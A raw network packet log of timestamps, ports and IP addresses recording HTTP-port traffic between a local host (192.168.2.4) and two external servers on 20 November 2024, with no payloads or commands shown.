Nov 20, 2024 12:57:57.540931940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540939093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540951014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540958881 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540961981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540973902 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540977001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540985107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.540991068 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.540997982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541011095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541016102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541038036 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541358948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541368961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541379929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541394949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541397095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541407108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541410923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541419983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541430950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541435957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541443110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541465044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541480064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541528940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541539907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541549921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541558981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541562080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541577101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541598082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541820049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541831017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541841030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541851044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541852951 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541862011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541870117 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541872978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541884899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541896105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541898012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541906118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541913986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541917086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541929960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541930914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541941881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541949987 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.541954994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541968107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.541975975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542001963 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542373896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542385101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542396069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542407990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542414904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542424917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542433977 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542435884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542448044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542458057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542459011 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542470932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542476892 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542484045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.542490959 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.542515993 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:58.001693010 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:58.001723051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:58.007492065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:58.007507086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:58.750883102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:58.752038956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:58.859349966 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:58.864396095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.081619024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.081635952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.081646919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.081875086 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:59.084775925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:59.091877937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.307267904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:59.307342052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:59.319550991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:59.324594975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:00.031845093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:00.031938076 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:00.058248043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:00.063283920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:00.281992912 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:00.282089949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:00.285547972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:00.294363022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:00.294498920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:00.294647932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:00.302680016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007445097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007462025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007474899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007508039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.007546902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.007565022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007577896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007589102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007601023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007611036 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.007646084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.007683992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007697105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007708073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.007723093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.007750988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.013334036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.013381958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.013407946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.013434887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.147286892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147330046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147344112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147361994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147407055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.147429943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.147655964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147667885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147675037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.147706985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.148292065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.148303986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.148319960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.148330927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.148341894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.148365021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.149033070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149044991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149056911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149079084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.149111032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.149405956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149451017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.149787903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149799109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149810076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.149863958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.150496960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.150543928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.150652885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.150665045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.150677919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.150696993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.150715113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.152626991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.152673006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280263901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280283928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280333996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280344963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280352116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280361891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280378103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280410051 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280469894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280482054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280497074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280510902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280540943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280580044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280590057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280602932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280611992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280647039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280838013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280848980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280870914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280906916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280944109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280955076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280966997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.280983925 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.280996084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281239986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281250000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281260967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281271935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281311989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281332970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281486988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281502008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281514883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281527042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281548023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281564951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281570911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281579971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281595945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281606913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281624079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281641006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281847954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281860113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281873941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281883955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281893969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281903028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281914949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281919956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.281945944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.281950951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282311916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282322884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282335043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282357931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282382965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282438993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282450914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282464027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282501936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282501936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282526970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282577038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282593012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282604933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282613993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282623053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282630920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.282650948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.282665968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285167933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285186052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285219908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285234928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285326004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285339117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285351038 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285371065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285391092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285413980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285423040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.285446882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.285474062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416213036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416232109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416244030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416331053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416353941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416366100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416388988 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416421890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416460037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416471004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416482925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416493893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416503906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416515112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416544914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416593075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416604996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416615963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416630030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416641951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416654110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416661978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416673899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416682959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.416702986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.416722059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417083979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417095900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417108059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417119026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417129040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417140961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417146921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417157888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417172909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417177916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417188883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417198896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417232037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417381048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417392015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417404890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417414904 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417423964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417431116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417439938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417450905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417465925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417473078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417483091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417494059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417511940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417534113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417718887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417732000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417751074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417773962 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.417968035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417979956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.417992115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418014050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418040037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418081045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418091059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418104887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418117046 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418127060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418135881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418148041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418179035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418219090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418230057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418242931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418253899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418263912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418277979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418284893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418302059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418329000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418704987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418716908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418730021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418741941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418751955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418762922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418771982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418781996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418795109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418803930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418812990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418828011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.418837070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418855906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.418875933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:01.424786091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.424801111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:01.424813032 CET	80	49761	185.215.113.16	192.168.2.4
